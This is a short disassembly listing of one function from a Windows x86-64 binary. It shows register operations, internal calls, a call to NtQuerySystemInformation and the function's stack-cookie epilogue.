xor r15d, r15d
test r12b, r12b
sete r15b
mov ecx, edi
call fcn.140079c60
xor r12d, r12d
test edi, edi
js 0x1400904e9
test r15d, r15d
je 0x1400904e4
inc r14d
add rbx, 0x38
cmp r14d, esi
jb 0x140090504
lea rdx, [rbp - 0x39]
mov rcx, r13
call fcn.140077fbc
cmp edi, 0x8007000d
mov ebx, r12d
cmovne ebx, edi
mov ecx, ebx
call fcn.140079c60
lea rcx, [rbp - 0x39]
call fcn.14008fed8
xor r9d, r9d
mov qword [rbp - 0x29], 3
lea rax, [0x140048d58]
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x21], rax
lea rdx, [rbp - 0x29]
lea rax, [rbp - 0x41]
mov ecx, 0xb9
lea r8d, [r9 + 0x20]
mov qword [rbp - 0x11], rax
call sub.ntdll.dll_NtQuerySystemInformation
mov eax, ebx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.14037a9a0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret